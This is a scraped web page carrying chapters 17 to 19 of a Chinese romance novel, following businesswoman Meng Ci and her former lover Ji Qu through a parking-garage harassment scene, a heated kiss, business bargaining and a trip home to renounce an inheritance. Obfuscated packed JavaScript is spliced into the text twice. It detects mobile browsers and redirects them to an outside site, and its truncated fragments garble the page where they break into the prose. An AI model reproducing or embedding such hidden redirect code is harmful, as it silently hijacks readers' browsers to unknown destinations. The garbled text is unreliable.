;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388631|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “睡不着了?”季曲也没睡。 孟慈立马不动了。 过了一小会儿,季曲按亮了自己头上的照明灯,然后侧身靠近孟慈。 “看新闻了吗?”季曲摘掉孟慈耳朵里的降噪耳机。 没人回答,季曲又拨开遮住孟慈大半张脸的眼罩追问:“嗯?看没看?” 突如其来的亮刺地眼睛发痛。 孟慈伸手去挡,手刚从毛毯里出来就被季曲拦截抓住。 季曲坐直身体,截下部分光源,肩膀的阴影刚好遮住孟慈,足够她睁开双眼。 “什么新闻?”孟慈终于开口,“今年是个冷冬?” 季曲笑:“我真的服了你。” 孟慈一脸正经:“我只是回答你。” “没事,不重要。”季曲的身子沉了几寸,气息陡然逼近,“那我留的便签呢?你家客厅里,茶几上,遥控器下的那张?” “袖扣?”孟慈没再打马虎眼,“那我得回去找找才知道。” 两人在北市的最后一次见面,季曲在孟慈家丢了个袖扣。 两人在爱尔兰的第一次见面,季曲留了张便签,和孟慈要回自己的袖扣。 “哦,那睡吧。”季曲虽然嘴上这么说,但是动作没变,依旧握着孟慈的手。 “你这样我怎么睡?”孟慈挣了几下挣不脱,无奈开口。 季曲这才松开。 孟慈立马转身躺着,留着季曲一个背影。 两三个呼吸后,季曲把孟慈身上的毛毯拉高,盖住她整个肩背,又落手在孟慈的腰间轻轻按捏,力度刚好。 “我的婚约取消了。” 季曲的声音很轻,像是呼出来的气一样轻,晃悠悠飘到孟慈耳畔。 在万尺高空,没什么重量。 - 就像黄景峰说的,北市真的很冷。 也有可能是孟慈从温暖的南半球过来。 在家窝了几天,孟慈说的最多的话就是谢谢,因为取外卖。 孟慈没和其他人透露自己的位置,只有季曲知道。 不过自从那天在机场告别后,季曲也再没出现。他当天就飞了上海,只在北市的机场打了个转。 之前的项目终于要签约。 黄景峰邀请孟慈出席,顺便讨论下明年的业务。 孟慈时隔一周后终于踏出家门。 合同已经经过多方审查确认无误。 孟慈坐在主位签字盖章。 三份文件在会议桌上规律循环一圈,合作达成。 黄景峰主持整场会面,孟慈只需要坐在一旁品茶微笑。 庆功宴定在五星级酒店。 临近年底,本着犒劳大家的想法,孟慈自费把餐标提了一个档。 方萤跟在孟慈身边偷偷把高脚杯里的红酒换成葡萄汁。 只不过酒过三巡后孟慈毫无变色的脸是无法不露的马脚。 就连黄景峰也暗里和方萤摆手。 做生意的都是人精怎么能看不出这些。 正当孟慈犹豫着要不要换成真酒时,包间的门开了。 季曲带着一众人走进,惹得全场目光。 场子瞬间热闹起来,赵一辰也端着酒杯来到孟慈跟前。 “什么时候回来的?安娜不知道吧?”赵一辰笑眯眯地凑近。 “没回来几天,没来得及告诉她。”孟慈也站起来。 赵一辰说自己可没法替孟慈瞒着,毕竟今天场上的人太多,说不准谁的嘴快就把孟慈回国的事传出去,安娜要是知道自己没说实话,肯定要抽他两根筋。 “那可不关我的事。”孟慈笑笑,从椅背上拿起自己的外套准备开溜。 “哎!就这么走啊?我哥刚来!”赵一辰看了眼被众人簇拥的季曲,着急道。 “你小声点,下次请你吃饭。” 孟慈已经在方萤的遮掩下走到了门口,闪得飞快。 17. 第 17 章 电梯下行至地下三层。 孟慈跟着指示找车。 手机上是方萤发过来的车位号,C-2-67。 鞋跟敲在地面,清脆的声响传到四面八方。 碰壁后又前后脚折回来。 听的有些瘆人。 一堵墙接着一堵墙,一根柱接着一根柱,声控灯明又灭。 一直走到小腿酸痛,孟慈才找到自己的车。 还没等按开车锁,孟慈就看到了熟人。 石骏廷正倚在孟慈的车前盖上,在看到孟慈的瞬间抬手打了个招呼。 孟慈停在两米远的距离:“好巧啊石总。” 石骏廷站直,笑:“不巧孟总,我特意来等你。” “我?”孟慈故作疑问,“石总找我有什么事?” 石骏廷挡在车前,双眼布满血丝,下巴上冒着胡茬。 和上次比起来,憔悴不少。 孟慈根本没法绕开他上车,转头就跑的话…… 甩掉一个成年男性的可能性不大。 毕竟自己从小就不是什么跑步健将。 石骏廷没立刻回答,而是用布满血丝的眼睛在孟慈全身刮。 几个回合后,孟慈已经浑身不适。 “石总没什么事我就先走了。”孟慈把身体重心往后放了些,用余光扫了扫四周,偏偏没一个人。 “有事,当然有事。”石骏廷慢悠悠地开口,但是颇有些问责的态度,“上次和孟总谈的合作吹了,我这心里越想越遗憾,所以想着来亲自问问孟总,到底哪里不满意?” 自从知道石骏廷的公司经营有问题后,孟慈就单方面地减少了和他的交流,大多数是公事公办的态度,到后来干脆让方萤帮着打点。 这也是项目吹了之后孟慈第一次见他。 “公司做了全方位的评估,董事会一致投票表决的事,我也不太清楚,石总想知道的话可以明天去我公司,我让黄总给您解释,毕竟以后日子还长,我们还有合作的机会。” 孟慈话说得稳,变着法提醒石骏廷以后还有机会,别现在就把自己的路堵死。 “哦,原来是这样。”石骏廷听完这段话后一双眼死死地盯着孟慈,一直到孟慈的冷静面容奔溃了一个角,才兀自笑了出来。 “没关系的,合作这种东西,就是一天一变,但是孟总……我记得当初您答应我的,应该不止这个项目一件事。”石骏廷慢慢地往孟慈面前走,笑不达眼底。 握紧手中的手机和钥匙,孟慈强迫自己冷静。 毕竟是公众场合,大家都是有头有脸的人物。 料想他也做不出什么太过分的事。 “是吗?我喝了点酒,有些记不清了,要不然我们下次再说?” “不用下次,我现在就能帮孟总回忆起来,你那天穿着绿色的长裙和米色的风衣外套,站在我身边,手里拎着我精心准备的礼物,然后我送你上了车,那晚我们也喝了点酒,但是不至于醉……” 距离越来越近,孟慈已经忍不住地想后退离开。 但是石骏廷动作飞快,突然伸出手握住孟慈的双臂。 力气大到孟慈瞬间喊痛。 “孟总……难不成从头到尾都在和我玩游戏,我可不是陪着人过家家的年纪了。” “你先放开我!” “你装什么装啊?不就是季曲不要的女人,嫌我的钱没季曲多?还是嫌我的背景没季曲硬?不是我说,你以为你还能找上季曲那样的?我看上你都是你的福气……” “我让你放开!” 还没等孟慈大声喊人,就感觉到自己的腰被人从后揽住,以不容拒绝的力道贴上了坚硬的一片。 “嘭”的一声。 双臂的桎梏瞬间消失。 石骏廷的腹部挨了重重的的一脚,整个人向后踉跄两步直接仰在地上。 孟慈还没站稳就被拉着转了身,季曲的脸色很差。 “疼了?” 悬到嗓子眼的心堪堪落回原位。 方萤的声音从听筒传过来。 季曲嫌烦,拿过来说了句“我在这儿”就挂了电话。 拉着孟慈上下看了几回才确定人纯属就是被吓到了有些发懵。 季曲把孟慈抱进怀里,手放在她的肩胛骨上轻轻压着。 地上的石骏廷双手捂着肚子缓不过来。 这一脚踢在最柔软的腹部,石骏廷脸色疼成铁青,咳嗽得连话都说不清楚。 但是季曲也没给他什么说话的机会。 “赶紧滚。” “或者我找人送你走。” 自己滚只是丢个脸。 但是季曲的“送”,可就不知道丢的可能就真是“人”了。 饶是再愤怒,石骏廷也知道季曲是自己惹不起的人。 狼狈地站起身,石骏廷咬着牙咽下不满踉跄离开。 诺大的停车场又恢复安静。 孟慈心跳平稳后,伸手推了推季曲。 “怎么背着我招惹这么多男人?”季曲把孟慈从怀里放出来,眉眼间都是不满。 “不算背着你,毕竟我单身。”孟慈抚平粘在季曲外套上的发丝,上面都是静电。 孟慈后退一步,把手机和车钥匙从季曲的手里拿回来,“多谢,先走了。” 季曲拉住孟慈:“不是喝酒了?怎么开车。” “你早就到了?” 孟慈反应快,刚刚在包厢里,自己没和季曲交流,再加上刚刚和石骏廷提到自己喝了些酒,所以…… 所以他早就到了,只不过冷眼看着石骏廷和自己发疯。 孟慈蹙眉,火气烧了满身,甩开季曲大步流星地上了车。 看着孟慈的一连套动作,季曲后悔也来不及。 英雄救美换得美人以身相许的路子失败。 只能暗淬一句倒霉。 车门摔得响,孟慈还没系好安全带就又被人扯出车子。 停车位空间逼仄,季曲整个上半身几乎压住孟慈。 手撑着车框,季曲弯腰与孟慈面对面。 孟慈不看他,正在气头上。 季曲组织了语言,才温声开始哄。 “我这不是关键时刻也出来了,怕你们有什么重要的事,我不敢打扰。” “扯吧。” “我的错,我道歉。” “不接受。” “那你想怎么样?我听你的。” 孟慈终于抬眸看着季曲。 读出不耐,读出疲惫。 读出他明明放下身价给她送钱站台,但是她怎么不给面子的不识好歹。 其中掺杂了些真心,但是不多。 想到这儿,孟慈反而冷静。 顿了顿,她轻轻抬起下巴亲在季曲唇上,落了一个持续两三秒的吻。 季曲被突如其来的吻冲昏了头。 还没等大脑做出判断四肢已经率先动了。 他追上孟慈的唇,加了力道温柔又急切地碾。 呼吸加重,吻也加重。 季曲的手沿着孟慈的腰线描摹。 反复按揉间找到的交界,捏着布料往外缓缓地拉。 直到底端出现。 季曲沿着皮肤肌理小心翼翼地探,所过之处留下火苗。 不容忽视的温度令孟慈猛地颤了一下。 齿关闭合时磕到探进的舌尖。 两个人同时睁眼。 孟慈的面上因呼吸不畅而泛出绯红,雾蒙蒙地望着季曲,像是有远山雨胧,低低诉着无法言语的情绪。 她喘着不匀的气,微微抬颈,试图找到氧气。 季曲顺势往下,吻在孟慈的颈间。 咬开衬衣的第一枚扣子。 右手刚要攀顶,孟慈突然喊了停。 “手拿出来。” “嗯?” 季曲明显被情欲支配,一贯清明的眸子覆盖着薄雾。 “现在,手拿出来。”孟慈双手分按在季曲的两侧锁骨,无情开口,“不是听我的?” 直到孟慈的车尾消失在地库,季曲的理智才彻底回炉。 低头看了眼绷紧的西裤,另一种火又冒出头。 操!? 谁这么有种惯成这样的? 哦,好像是自己。 ……操。 - 虽然签了合同,但是合作实际上才刚刚开始。 孟慈带着方萤每天盯进展。 一会儿在车间,一会儿在会议室,或者又在仓库。 忙得脚底打转。 “我下午去车间看看,要不要一起?”黄景峰敲开孟慈办公室的门,顺便把午饭送进去。 方萤接过袋子放在茶几上,问孟慈要不要现在吃,孟慈摇头。 “我下午约了南高的张总,谈谈叶片的事,就不去了。” “怎么最近这么上进,嫌我们挣得少了?” 黄景峰笑着打趣,毕竟上次孟慈这么上心公司还是两年前的事。 “想给我妈买套房子,前段时间去她那儿看了一眼,真不错。” 黄景峰笑:“那是得努力,不过……” “什么?”孟慈站起来松松腰身,顺便抓了两条补剂递给黄景峰,“少熬夜吧,黑眼圈都出来了。” “我从小就这样,没事。”黄景峰接过,“听说最近有一支国外的科研团 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方萤讪讪一笑:“怕打扰你思考,现在吃饭吗?” “没胃口,你先吃。” “哦。” 方萤点头,然后又低头。 手机再次振动,孟慈看了一眼,又是方萤,“又怎么了?” 方萤捧着碗米饭笑嘻嘻地指指孟慈的手机,“你看看再说。” 孟慈无奈摇头。 解锁查看,是一个位置。 方萤解释道:“季总下午在那儿有场演讲活动,你去了就能看到人。” 孟慈放下手机,目光转回电脑,“我为什么要去?” 方萤对孟慈极有信心:“因为季总一定会把人借给你,这样我们就能省最起码四分之一的钱。” 好的技术代表快的时间,优的人才代表高的质量。 短时间高质高量完成,确实能省不少。 是笔再划算不过的买卖。 但是…… 孟慈扶额苦叹。 上次玩的太过了,谁能知道季曲给不给自己好脸。 “你就这么肯定季曲肯把团队借我?”孟慈轻靠在椅背上看向方萤,她用下巴指指电脑屏幕,“我刚问了下安娜,听说为了挖这支团队季曲花了八位数。” “因为这个消息是季总漏给我们的。”方萤递给孟慈一个肯定的眼神。 孟慈走到茶几前,打开一碗新的米饭:“这么迂回?怎么不直接找我。” 方萤眨眨眼:“因为你还没把季总的联系方式加回来。” 孟慈:“……” 按照定位找到活动场地。 孟慈进入会场,演讲的开始时间是晚上七点。 下午是设备调试环节。 这次的活动是北城的顶尖学府组织的公益讲座。 各个领域的大拿都会出席。 季曲作为优秀校友,当仁不让地出现在名单前列。 穿着志愿者服饰的大学生们在台下跑来跑去,没人在意突然出现的孟慈。 毕竟大家的注意力都在台上。 季曲这次回来不止演讲,还又捐了一批实验设备。 校长等人热烈邀请季曲来学校看看逛逛,再吃个便饭。 季曲在台上试麦。 周围围着一圈人,以他为圆心扩散。 低沉的嗓音通过音响扩散,传遍每个角落。 孟慈站在台下,看着与众人周旋,言笑晏晏的季曲突然想到。 对于有的人来说,他们生来就是要做主角的,就要站在舞台中央,就该受万人崇拜。 那么剩下的人,就该做观众,就该是追随者。 出现在主角的某一段人生故事中,拼尽全力送上掌声和鲜花。 即使主角并不需要。 正这么想着,台上的季曲突然看向孟慈,连带着周围人的目光也跟着追在孟慈身上。 “什么时候来的?怎么不叫我?” 季曲从台上走下来,穿过人群,来到孟慈身边,眼里只映出她一个人的影子。? 随着季曲的脚步流转,舞台换了场地。 孟慈被季曲圈在他遮挡的小天地里,隔绝了其他各种目光。 看了眼时间,刚好该吃晚饭。 季曲接过孟慈肩上的包,问:“要不要吃晚饭?” 孟慈点头。 季曲立马转身冲台上打了个招呼。 牵着孟慈离开了讲厅。 18. 第 18 章 晚饭就在学校周边吃了一口,算不上什么隆重精美。 孟慈全程都在神游,就连自己的目的都差点忘了。还是季曲在最后问了一句怎么想起来找他吃饭,才反应过来自己是带着任务来的。 “哦,我听黄景峰说你挖了支团队。” “想要?” “嗯。” 孟慈看着季曲慢条斯理地喝完碗里的汤,又拿起一旁的纸巾擦了擦嘴,才得到一句,“不给。” 孟慈来之前就心里有数,季曲不可能平白无故做慈善。 “你提条件。” 季曲挑眉:“什么都行?” “什么都行。”话音一落孟慈就后悔了,连忙补了一句,“我除外。” 季曲嗤笑一声。 配上他的正装,和背后古典沉稳的实木背景。 孟慈有些耳根发烫,自己是不是…… “不好意思,那我没法和你谈了。”季曲起身,走到孟慈身边,伸手撑在孟慈椅背上,俯身,黑眸变暖,“我只对你这个人感兴趣。” “孟总…想好再来谈。” 看着季曲潇洒离开的背影,孟慈冷哼。 男人脑袋里果然离不开那些汤水。 - 自从接了硅晶项目,孟慈杀回市场的消息便如潮水袭卷。就连安娜也主动打招呼牵线,问孟慈要不要和自己合作。 孟慈看了眼项目书选择放弃:“你们家的家电产业我真的搞不定。” 安娜劝她继续读完再决定。 两人约在一间最近在社交软件上火起来的咖啡店。 七拐八绕的坐落在小胡同里,不时地还能听到大爷叫卖糖葫芦。 先把工作放在一边,安娜看了眼孟慈,“吃吗?” 孟慈心领神会:“扁的。” 安娜一个眼色身边的助理就起身走了,没一会儿便拎着一包回来。 孟慈接过纸袋捏着包着纸巾的木签抽出来一根。 糖衣已经有些融化。 孟慈咬了一小口。 酸酸甜甜的,就是核没处理干净。 吃起来有可能会崩牙。 安娜选了草莓的,还没等吃就嚷嚷着糖衣化成汤掉到了她限量版的大衣上。 她连忙抽了湿巾去擦,没一会儿就变成硬硬的一块,“这儿玩意怎么擦不掉?” 孟慈吃了两三粒后也有些饱了,看了眼被安娜越擦越大的污渍,说:“回去给你家阿姨吧,她比你有办法。” 安娜撇撇嘴,没了进食的心情,拿起手机刷了两下,突然看到什么有意思的事,“但是你听说了吗?” “什么?”孟慈一头雾水。 “季曲的表妹,不是想和我哥结婚,但是失败了。”安娜打开照片,递给孟慈。 孟慈没见过季芷,她摇摇头。 “我记得你哥和何冉不是蛮稳定的。” 说到这儿安娜一拍大腿两眼放光,身子都往前探了几分。 “还得是你记性好,都和我哥好了五六年了,再说这姑娘还是旁系,也就我后妈没什么见识,再加上我爸经不得人劝,以为能搭上季家的船。” 这种故事孟慈听过不少,因此没什么特殊的反应,“所以是你哥出面拒绝的?” 安娜笑了,一副“终于问到点上”的表情,悄咪咪地说:“不是,是季曲。” 孟慈疑惑:“季曲?” 他从来不是什么管闲事的性格。 上次在停车场的事,以石骏廷掉了两个项目为结局。 不是掉的少,是因为他的公司全家上下就靠这两个项目盈利。 也就是说,临近年底面对各个款项结算,石骏廷只能靠变卖不动产来填补亏空。 大家多方打听,石骏廷这是惹了谁才落到这个下场。 结果只知道是季曲,其他的一概不知。 因此以后也没人敢和石骏廷在谈生意,毕竟谁也没必要去触季曲的霉头。 江山代有人才出,四九遍地是黄金。 谁会为了偶尔跃过龙门的小鲤鱼而得罪龙王。 安娜回忆道:“对啊,好像是我哥和他吃饭的时候提了一次,然后季曲说他们家姑娘刚毕业还没见过什么世面,也不着急这些,就正好取消了。” “认真的?” 孟慈不太相信,季曲善心泛滥到如此。 “所以我来问你啊。”安娜眨眨眼,“有没有什么内部消息?还是季家看不上我们家,准备和别家搭伙。” 面对积极进取的安娜,孟慈无奈,摇摇头掏出了手机。 “哇塞你现在就帮我问吗?真是太好了慈慈宝贝,我就知道你最爱我!” 孟慈把通讯录翻出来递到安娜面前:“我根本就没有他联系方式。” 安娜不信,一通翻找,还真没季曲这个人,“你是不是还有一个手机。” 孟慈无语地指指手机通讯录:“我妈都在这儿。” 安娜手指的滑到置顶。 一个孟慈妈妈,一个导师,没了。 她说的轻松:“那你加回来不就行了?” “为什么?”孟慈连忙把手机抢回自己手里,怕安娜真的能干出来这种事,她可拉不下脸。 “季曲现在不也退婚了?你们不打算……”安娜转念一想,管他季家要和谁联姻搭伴,有乐子不看王八蛋,“硅晶的项目盈利最少不得这个数?北市多少人盯着的肥肉,就被季曲这么送到你手上,你不心软?” 安娜伸出一只手在孟慈眼前挥,孟慈只夸了句美甲不错,很好看。 “那可不,我整整坐了一天,差点腰都断了。”安娜也对美甲十分满意。 “但是……”孟慈话说了一半又停住。 安娜摸了摸指甲大小的钻石,抬起头,“什么?” “就是……季曲退婚你怎么不问我知不知道为什么?” 问完这句,孟慈垂眸拿起桌上的热拿铁,没看安娜。 “这还用问你?经济新闻、娱乐新闻上都写了好吧,还有那些营销号,虽然是赵一辰他们家养的,但是还是有些真消息在,沈家的掌权人这段时间都在ICU住着,下面的兄弟姐妹已经乱成一团,听说老爷子遗嘱都立好了,季曲那个前未婚妻家,拿不到大头。” 咖啡已经凉了不少。 散了刚煮好时的香气,现下只留下浓浓的酸味。 刚拿到手时太烫,现在温度刚好,味道却差了。 孟慈小口小口地喝,下了半杯。 看着神色有些怪的孟慈,安娜一想,“怎么难道不是因为这个?” 孟慈抿嘴,笑:“我怎么知道,就是随口问问。” 安娜不信:“你可别瞒着我被我发现了,我这个人小心眼,见不得我身边的人骗我。” 孟慈说好,又说自己最近要和回老家一趟,家里有些事要处理,等回来再和安娜约饭,至于合作的事,自己还要想一想。 安娜自然点头。 反正她也没什么要紧事,随叫随到。 孟慈并不是本地人。 她生在海市,一直长到十四岁。 爸妈离婚后才跟着妈妈到北市读了高中,又读了大学。 海市在地理位置上比北市更北。 明明乘高铁也就一个小时左右的距离,但是温度却天差地别。 一出车站孟慈就知道自己穿少了。 本想晚上自己出去走走溜溜,但是看着车窗外被凌烈寒风吹到弯腰的树枝,还是作罢。 为了方便孟慈选择住在酒店。 到了晚上,她抱着手机在外卖软件里翻了几翻。 从快餐到特色菜,时针走了一整圈都没选到想要的。 反正也不太饿。 孟慈干脆打客房服务要了果盘,随便吃点就行。 等待期间孟慈洗了个澡又收拾了行李。 她一边吹头发,一边又想着明天要不要去亲戚家看看。 饥饿感又少了不少。 门铃响时孟慈还在犹豫。 甚至已经准备给妈妈发消息问问,刚好被打断。 取下门栓,孟慈拉开门站在一边。 看着服务生推着餐车进来,半米长的餐车上放满了食物。 小面、咖喱、清粥、牛排…… 自己的果盘孤零零地摆在旁边就像餐前小食。 孟慈叫停服务生摆桌的动作:“不好意思,我没点这些……” “我点的。” 孟慈朝门外看,季曲正站在酒店走廊里,他的手机还挂在耳朵上,语气平稳,“……我马上下来。” 服务生已经放好餐盘推着餐车离开。 季曲收了手机倚在门上。 “我晚上有个局,你随便吃点,明天带你吃好的。” “你跟踪我?” 不怪孟慈多思。 季曲一天到晚脚不着地的人,怎么突然出现在自己老家。 一个三线城市,怎么吸得来这尊大佛。 季曲没立马回答。 孟慈刚洗完澡,脸色素净又白皙,一副人畜无害的模样。 察觉到季曲的眼神,里面盛着什么情绪无所谓。 倒是不知道走廊里从哪来了一股冷风。 穿过季曲吹到了孟慈身上,凉飕飕的。 想着洗完澡随便吃点水果就上床睡觉,孟慈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407142|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没穿内衣。 想到这儿,孟慈下意识地往门后挪了挪,试图把自己挡起来。 被无名风一吹,季曲也想到自己一会儿还有正事,不是在这耗着的时候。 “你以为我从外国挖一个团队就是为了套你吗?这边市场潜力大,我刚好来考察,而且这家酒店你忘了是谁旗下的?” 孟慈想了想。 这家酒店还真是季家投资的。 “赶紧进屋,别再感冒了,洗完头抓紧吹干,说了那么多次还不听……” 季曲一副孟慈无法照顾好自己的嫌弃口吻。? “啪”的一声。 孟慈也没客气,直接关了门。 季曲停滞了一瞬,然后又听到锁门声和门栓落下的链条声。 得儿,真在这儿防贼一样防着自己呢。 对着冷冰冰的门板,季曲被气的有些想笑。 第二天孟慈一大早就出了酒店。 穿着行李箱里最厚的呢子大衣,又裹了层围巾。 还是抵不住寒风的侵袭。 按照律师给的流程,孟慈先在酒店附近找了家打印店,把七七八八的证明材料一式两份地印好,又打车到派出所,开户籍证明和亲属关系证明。 大厅里的椅子差不多都坐着人。 孟慈取了号找到角落的位置等待。 就这么等着耗着,一上午飞快地过去了。 孟慈打开手机在附近找了家咖啡店打发午休时间。 下午三点,孟慈又带着号码坐进大厅。 下午五点,海市已经黑了,星星在天上发光。 孟慈手里拿着一沓材料从大厅出来,还没等车到达就被冻得头疼。 裸露在冷空气中的手指很快变得通红,连弯儿都不能打。 上了车之后又缓了好久,还是不怎么灵活。 三线城市有一好,什么时候都不堵车。 孟慈这边都到酒店了,电话那边的方萤还没搞清要准备什么材料传真给孟慈。 “麻烦您了师傅。”孟慈下车,又给方萤细细地解释。 “我一会儿就给传,酒店应该有传真机。”方萤还在加班,传个资料顺手的事。 “行,我刚好进来,问好了传消息发你。” 孟慈走到前台,和笑容甜美的接待问:“不好意思,请问酒店的传真可以用吗?” “怎么这么晚回来?”季曲的声音从身后传来。 前台的工作人员看到季曲后微笑鞠躬。 季曲点点头,冲前台说端杯热水过来,然后便带着孟慈到休息区。 用牛皮纸袋装着的材料也被季曲接过去放在一边。 “疼不疼?” 季曲拉着孟慈的手反复地看,确认只是有些红后便握在手心暖。 时不时地还哈一口气。 搓了十几分钟,孟慈的手才回暖。 又看了看孟慈其他裸露在外的地方,看到通红的耳朵,季曲皱眉问:“耳朵也冻了?” 季曲提起来孟慈才抽手去摸自己的耳朵。 耳廓早就已经冻得发麻。 季曲伸手拢住孟慈,把人往前拉了几分,“这一天干嘛了?穿这么少乱跑?” 因为陡然拉近的距离,孟慈闻到很轻的一抹酒味,“你喝酒了?” “一个小时前,你们这儿的人酒量太好,怎么你的这么差?”季曲一边捂孟慈的耳朵一边回答,显然没怎么醉,看着衣着单薄的孟慈,说:“给你买几件衣服吧,这么冻你早晚又得病倒。” 耳畔开始火辣辣的疼,孟慈推开季曲的手,“我还有事。” “传真?” “嗯。” 方萤的消息已经传过来。 说她的资料都准备好了,就等孟慈这边。 季曲开口:“在楼上,我带你去。” 孟慈没拒绝:“谢谢。” “这么客气?” 季曲略微惊讶地挑眉看向孟慈,怎么突然小姑娘就卸了防备,冻傻了吗? “我今天办事有点不顺利……”孟慈慢慢开口,给出台阶。 “我帮你,如果你需要的话。”季曲了然开口。 孟慈端起一次性纸杯,喝了一小口柠檬茶,被杯壁沾下一点唇蜜,然后轻声说了句好。 在上楼的电梯里,季曲拎着着孟慈的包,抱着牛皮纸袋,随意问了句办什么事啊要这么多材料还要本人回来。 孟慈抱着纸杯靠在扶手上看起来有些疲惫。 她闻言抬头,漆黑的瞳孔被顶光照得泛出温暖的褐。五官一贯的舒展,语气轻飘。 “没什么。” “放弃遗产继承。” 19. 第 19 章 传真机在酒店的办公楼层。 除了值班的工作人员,办公室已经空了大半。 指示灯滴滴地响,内容通过机器一点点传输过来。 孟慈坐在会客室的沙发里。 还捏着那支从一楼大厅带上来的纸杯。 “凉了吧。” 季曲伸出两根手指触摸,把杯子抽出来,原本光滑的杯壁已经有了褶皱。 空了的手揣到外套兜,顺带缩了缩脖子。 孟慈把大半张脸都埋到围巾里,只留下一双眼。 她的目光落在某个地方,很久才眨一下。 季曲等着取纸。 默认俗成般的。 季曲在的时候孟慈一般不用动手,只需要静静地等,就能享有一切。 季曲捏着薄薄的纸张在眼前扫读。 然后拆开牛皮纸袋和其他材料放在一起。 不算薄也不算厚的一沓,几乎讲得完孟慈的绝大部分人生。 称得上私密的资料就这么捏在别人手里。 孟慈面上没有一点急迫担忧。 季曲不是别人。 他对她的了解远比面前的这一沓纸要厚重。 “什么时候的事?”季曲把牛皮纸袋装到包里,手撑在桌面轻敲,规律的响声让孟慈更思绪疲乏。 “前年夏天。”孟慈隔着围巾开口,原本就低的声音更弱了些。 好在四周安静。 季曲默默在心里计算。 也就是和自己分开后的小半年里。 季曲对于孟慈父亲的了解仅限于资料和孟慈本人的叙述,“意外?” “生病。” 孟慈的睫毛长而直。 平视的时候会投到眼尾。 形成小小的一滩阴翳,像盛夏繁茂枝叶簇成的阴凉。 谈论这些时,孟慈的眼底没什么情绪,眉头也平整,像是日常闲聊。 季曲知道,孟慈就这个性格。 和谁相处都像隔着琉璃玻璃。透明璀璨的一层,引人深入又拒人千里。 即使是连着血脉骨肉的至亲。 窗外的路灯灭了一盏,像是坏了。 孟慈突然开口:“饿了。” 季曲抬头:“嗯?” “我今天只喝了一杯咖啡。” 孟慈的眼神终于又出现焦点,汇聚在季曲身上,眼睛眨眨,释放了些亲昵。 车子平稳地行驶在马路。 孟慈靠着车窗打了个哈欠。 自觉得要精神点,便又支起头用手指在车玻璃上涂涂画画。 车内外温差大,玻璃上起了些雾。 季曲在一旁低头看文件。 一直到孟慈停手才抽了张纸巾递过去,顺便又握了下孟慈的手。 还好,不算太凉。 海城唯一的一家米其林餐厅。 预约都要提前一个月的地方。 季曲说去就去。 乘观光电梯上楼。 孟慈看着越来越远的地面和越来越小的人影,忽地想起来刚刚路口的烤红薯。 单独的小炉子,碳块烧得通红。 抽出来时还有芝麻大小的火星子在蹦。 “有烤红薯吗?” “想吃?” “嗯。” 说完话孟慈又把脸埋到围巾里。 季曲把她蹭乱的碎发别在耳后,温柔体贴地说了句好。 米其林餐厅不提供点菜服务,每日按例售卖,菜单只根据当季时令来定,自然没有烤红薯上桌。 “那就算了。” 季曲看着孟慈一圈圈地绕开围巾,脱下大衣交给服务生,多少有些闹脾气。 “能不能加一道?”季曲客气地问,“我另外支付。” 经理一早就知道季曲的身份,听到这儿,也没再好拒绝,只说要问问厨师。 幸运的是后厨刚好有红薯,厨师也愿意做。 经理来桌前问需要怎么烹饪,孟慈说带皮烤熟就好。 经理又看了季曲一眼,他也点头。 “好的,一会儿就帮您上菜。”经理颔首离开。 插在牛排和烤蔬菜中间。 半只手掌大小的红薯装在金箔装饰的盘子中上桌,上面还淋着蜂蜜。 孟慈拿起叉子刮了一小块送到嘴里,就是红薯的味道。 孟慈用叉子有一下没一下地戳红薯,果肉逐渐由软至烂。 在红薯彻底变成红薯泥之前,季曲抬手叫服务生撤走餐盘,换了水果挞上来。 蓝莓被烤得口感怪异。 孟慈干脆把果肉挑出来单独吃挞身。 奶味十足,挞皮酥脆,比起开始好吃不少。 一顿饭就这么吃完了。 季曲第二天下午没什么安排,把孟慈送回房间后顺势约她出去。 孟慈把着门,没给季曲留通过的缝隙,“我还有正事要做。” 季曲依旧站在门外:“明天上午十点,有人来接你,一个小时就能搞定。” 孟慈没故作姿态,反而坦荡,“谢谢。” 季曲双手插兜倚在门上,深邃的眼眶一敛,笑得风流,“就没了?” 吃人嘴短,拿人手软。 理智还在周身搜寻有什么能给季曲回报。 但是明显,季曲只对一件事感兴趣。 看出来孟慈的踌躇,季曲笑笑,向前迈了一步,进屋关门。 靠在厚重的门板上伸手一拉,把还在思考的孟慈圈进怀里。 “让我抱一会儿。” 屋子里还没开灯。 两人在黑暗中默契噤声。 肢体交缠间凭空多了几分卿卿我我的姿态。 孟慈靠在季曲胸膛上,隔着硬挺的衬衫布料,呼吸由急变缓,像是进入了一场熟悉舒适的冥想。 季曲的手放在孟慈后背,沿着脊柱来回抚摸,不轻不重地刮过骨肉。 “回来怎么样?”季曲的呼吸贴在孟慈头顶,像一句绵长的叹。 “我已经回来了。”孟慈也伸手圈住季曲瘦劲有力的腰肢,加深这个怀抱。 “我是说…回我身边。”季曲低头,把孟慈的脸掰起来与自己对视,“我错了,慈慈。” 屋外寒风凛冽。 即使隔着玻璃都能听到吓人的呼啸。 孟慈突然想到酒店楼前的公园。 那里的湖面结了薄薄的一层冰,被顽皮的小孩踩出裂缝。 即使湖边竖着“冰面承重能力有限”“冰层厚度难以判断”的安全提示。 冰层的裂痕仿佛又在孟慈心底出现,一块块地破碎。 孟慈人不如其名。 一副心肠生的硬又满是看不懂摸不清的弯转。 